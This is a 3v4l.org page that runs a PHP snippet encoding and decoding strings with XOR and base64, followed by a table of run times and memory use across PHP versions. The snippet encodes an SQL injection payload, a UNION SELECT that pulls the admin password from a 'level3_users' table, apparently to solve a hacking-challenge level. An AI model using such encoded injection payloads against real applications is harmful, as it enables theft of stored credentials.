3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,password FROM level3_users WHERE username=0x41646d696e#"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00618.55
8.3.50.0150.00517.62
8.3.40.0040.01119.09
8.3.30.0080.00818.95
8.3.20.0090.00018.94
8.3.10.0090.00020.49
8.3.00.0110.00817.73
8.2.180.0100.01017.00
8.2.170.0040.01122.96
8.2.160.0070.00722.21
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0080.00020.20
8.2.110.0070.00321.25
8.2.100.0090.00317.97
8.2.90.0060.00319.21
8.2.80.0060.00317.93
8.2.70.0000.00817.74
8.2.60.0000.00818.03
8.2.50.0080.00018.07
8.2.40.0040.00418.34
8.2.30.0050.00318.11
8.2.20.0040.00417.85
8.2.10.0000.01018.05
8.2.00.0030.00617.86
8.1.280.0080.00825.92
8.1.270.0040.00424.66
8.1.260.0070.00726.35
8.1.250.0080.00028.09
8.1.240.0060.00320.84
8.1.230.0030.01021.10
8.1.220.0050.00317.91
8.1.210.0050.00319.09
8.1.200.0040.00417.50
8.1.190.0000.00817.66
8.1.180.0030.00618.10
8.1.170.0000.00818.96
8.1.160.0050.00219.00
8.1.150.0000.00818.87
8.1.140.0040.00417.69
8.1.130.0000.00717.80
8.1.120.0040.00417.71
8.1.110.0040.00417.62
8.1.100.0000.00717.61
8.1.90.0000.00817.67
8.1.80.0040.00417.55
8.1.70.0050.00217.63
8.1.60.0060.00317.80
8.1.50.0050.00217.63
8.1.40.0040.00417.64
8.1.30.0080.00017.83
8.1.20.0050.00317.76
8.1.10.0000.00717.83
8.1.00.0080.00417.61
8.0.300.0040.00420.12
8.0.290.0070.00017.00
8.0.280.0030.00318.51
8.0.270.0000.00717.33
8.0.260.0000.00816.88
8.0.250.0030.00517.12
8.0.240.0060.00317.05
8.0.230.0030.00517.05
8.0.220.0000.00716.95
8.0.210.0030.00316.92
8.0.200.0040.00417.10
8.0.190.0050.00517.05
8.0.180.0020.00517.12
8.0.170.0060.00317.00
8.0.160.0000.00716.98
8.0.150.0040.00417.11
8.0.140.0060.00317.05
8.0.130.0060.00313.46
8.0.120.0040.00416.95
8.0.110.0000.00716.88
8.0.100.0000.00717.06
8.0.90.0000.00717.07
8.0.80.0150.00617.14
8.0.70.0040.00416.96
8.0.60.0030.00517.11
8.0.50.0000.00816.93
8.0.30.0080.01117.38
8.0.20.0140.00517.25
8.0.10.0070.00017.09
8.0.00.0140.00716.93
7.4.330.0050.00013.23
7.4.320.0070.00016.85
7.4.300.0000.00716.68
7.4.290.0040.00416.71
7.4.280.0030.00716.61
7.4.270.0030.00616.85
7.4.260.0030.00313.47
7.4.250.0000.00816.84
7.4.240.0040.00316.88
7.4.230.0000.00716.64
7.4.220.0170.00316.91
7.4.210.0090.00716.73
7.4.200.0030.00316.87
7.4.190.0040.00416.73
7.4.160.0080.00816.54
7.4.150.0070.01016.69
7.4.140.0060.01316.79
7.4.130.0100.00716.73
7.4.120.0100.00816.73
7.4.110.0040.01816.84
7.4.100.0120.00616.72
7.4.90.0130.01016.64
7.4.80.0060.01416.89
7.4.70.0070.01116.75
7.4.60.0140.00316.88
7.4.50.0000.00416.58
7.4.40.0120.00616.74
7.4.30.0110.00616.78
7.4.00.0100.00715.10
7.3.330.0000.00613.37
7.3.320.0030.00313.47
7.3.310.0080.00016.60
7.3.300.0030.00316.42
7.3.290.0040.01116.54
7.3.280.0130.00616.55
7.3.270.0110.00816.54
7.3.260.0120.00916.83
7.3.250.0090.01116.68
7.3.240.0160.00016.52
7.3.230.0100.00716.63
7.3.210.0160.00016.78
7.3.200.0160.00619.39
7.3.190.0170.00316.53
7.3.180.0060.00916.65
7.3.170.0070.01116.75
7.3.160.0080.00816.52
7.3.120.0110.00314.89
7.2.330.0060.01717.03
7.2.320.0150.00316.88
7.2.310.0070.01416.74
7.2.300.0120.00616.67
7.2.290.0100.00716.97
7.2.00.0000.01119.30
7.1.100.0030.01018.19
7.1.70.0070.01017.24
7.1.60.0140.01119.40
7.1.50.0060.00617.14
7.1.00.0070.07722.35
7.0.200.0000.00716.99
7.0.140.0130.06321.97
7.0.120.0070.06722.16
7.0.60.0130.08019.89
7.0.50.0170.04718.00
7.0.40.0100.07317.78
7.0.30.0130.06717.71
7.0.20.0130.07017.78
7.0.10.0100.08017.74
7.0.00.0170.07017.87
5.6.280.0130.06320.79
5.6.210.0070.08720.63
5.6.200.0030.08018.21
5.6.190.0130.03718.25
5.6.180.0000.06718.14
5.6.170.0170.07318.18
5.6.160.0070.08318.29
5.6.150.0130.07318.25
5.6.140.0100.07718.18
5.6.130.0070.07018.25
5.6.120.0100.08018.28
5.6.110.0100.05018.19
5.6.100.0070.08018.27
5.6.90.0070.07318.27
5.6.80.0070.06717.57
5.6.70.0070.04017.52
5.6.60.0000.04317.59
5.6.50.0100.08017.54
5.6.40.0030.08317.54
5.6.30.0070.08017.54
5.6.20.0100.06017.63
5.6.10.0030.08317.54
5.6.00.0200.05317.54
5.5.350.0200.08020.48
5.5.340.0030.08017.98
5.5.330.0070.03718.09
5.5.320.0030.04017.99
5.5.310.0170.06317.98
5.5.300.0100.05317.92
5.5.290.0070.06017.93
5.5.280.0070.05318.04
5.5.270.0030.08717.98
5.5.260.0030.06017.94
5.5.250.0100.03317.89
5.5.240.0100.04317.46
5.5.230.0030.04717.42
5.5.220.0200.06317.35
5.5.210.0030.07317.37
5.5.200.0170.07017.45
5.5.190.0130.06017.33
5.5.180.0070.07717.34
5.5.160.0030.08017.33
5.5.150.0100.06017.29
5.5.140.0100.03317.35
5.5.130.0030.05717.43
5.5.120.0170.07317.44
5.5.110.0070.05017.36
5.5.100.0030.04717.23
5.5.90.0030.06717.19
5.5.80.0070.05017.24
5.5.70.0030.05017.19
5.5.60.0000.07717.21
5.5.50.0030.05317.21
5.5.40.0070.06017.21
5.5.30.0100.06317.25
5.5.20.0070.08017.27
5.5.10.0030.07017.32
5.5.00.0030.07717.16
5.4.450.0130.07319.43
5.4.440.0070.05019.43
5.4.430.0100.06319.37
5.4.420.0070.07719.27
5.4.410.0070.03719.29
5.4.400.0070.06319.05
5.4.390.0030.04019.07
5.4.380.0070.03719.10
5.4.370.0000.07019.03
5.4.360.0070.04719.27
5.4.350.0100.04019.04
5.4.340.0100.05018.95
5.4.320.0030.04319.27
5.4.310.0070.07718.98
5.4.300.0030.03719.01
5.4.290.0000.08019.01
5.4.280.0030.06019.11
5.4.270.0030.07719.05
5.4.260.0200.06719.09
5.4.250.0030.08319.00
5.4.240.0070.07719.13
5.4.230.0130.04019.02
5.4.220.0070.05319.02
5.4.210.0130.06719.04
5.4.200.0030.08019.08
5.4.190.0030.05019.00
5.4.180.0100.07319.01
5.4.170.0030.07718.93
5.4.160.0030.08319.05
5.4.150.0000.04319.08
5.4.140.0100.07316.28
5.4.130.0030.07316.63
5.4.120.0030.07016.44
5.4.110.0100.07316.42
5.4.100.0070.07716.60
5.4.90.0000.07016.54
5.4.80.0100.06016.59
5.4.70.0030.06716.48
5.4.60.0100.07016.45
5.4.50.0170.06016.53
5.4.40.0100.06716.45
5.4.30.0070.06716.52
5.4.20.0070.04316.32
5.4.10.0100.03716.37
5.4.00.0100.06715.83
5.3.290.0100.07314.71
5.3.280.0130.04714.46
5.3.270.0130.07014.66
5.3.260.0030.07314.68
5.3.250.0000.04714.57
5.3.240.0030.07014.66
5.3.230.0030.07714.65
5.3.220.0000.08314.64
5.3.210.0100.07314.54
5.3.200.0100.07014.43
5.3.190.0170.07014.64
5.3.180.0070.06014.79
5.3.170.0070.08014.78
5.3.160.0100.06714.79
5.3.150.0100.05014.62
5.3.140.0100.03314.60
5.3.130.0100.07314.59
5.3.120.0130.07314.52
5.3.110.0100.07014.62
5.3.100.0030.07714.09
5.3.90.0100.06014.02
5.3.80.0130.03314.04
5.3.70.0070.06314.06
5.3.60.0100.04014.05
5.3.50.0070.04014.02
5.3.40.0030.07714.02
5.3.30.0030.04714.02
5.3.20.0070.07713.71
5.3.10.0100.04713.69
5.3.00.0100.05713.63
5.2.170.0030.05311.23
5.2.160.0030.06711.20
5.2.150.0070.05011.14
5.2.140.0100.05711.16
5.2.130.0070.05011.03
5.2.120.0100.06011.17
5.2.110.0130.04711.11
5.2.100.0030.03011.13
5.2.90.0100.06311.13
5.2.80.0100.06010.94
5.2.70.0030.06311.12
5.2.60.0070.05711.05
5.2.50.0130.05311.07
5.2.40.0100.03711.11
5.2.30.0030.03311.04
5.2.20.0030.06310.93
5.2.10.0070.03710.86
5.2.00.0070.06010.75
5.1.60.0070.0509.99
5.1.50.0130.02010.07
5.1.40.0070.03010.03
5.1.30.0030.03710.40
5.1.20.0070.05010.26
5.1.10.0030.03310.05
5.1.00.0030.05710.06
5.0.50.0030.0339.29
5.0.40.0000.0479.29
5.0.30.0030.0679.29
5.0.20.0070.0379.29
5.0.10.0000.0479.29
5.0.00.0030.0639.29
4.4.90.0000.0339.29
4.4.80.0000.0339.29
4.4.70.0030.0379.29
4.4.60.0000.0339.29
4.4.50.0070.0339.29
4.4.40.0000.0539.29
4.4.30.0030.0339.29
4.4.20.0030.0179.29
4.4.10.0100.0239.29
4.4.00.0030.0439.29
4.3.110.0070.0339.29
4.3.100.0000.0409.29
4.3.90.0030.0379.29
4.3.80.0000.0609.29
4.3.70.0030.0379.29
4.3.60.0030.0279.29
4.3.50.0030.0379.29
4.3.40.0030.0579.29
4.3.30.0030.0339.29
4.3.20.0000.0309.29
4.3.10.0030.0309.29
4.3.00.0030.0379.29

preferences:
48.13 ms | 401 KiB | 5 Q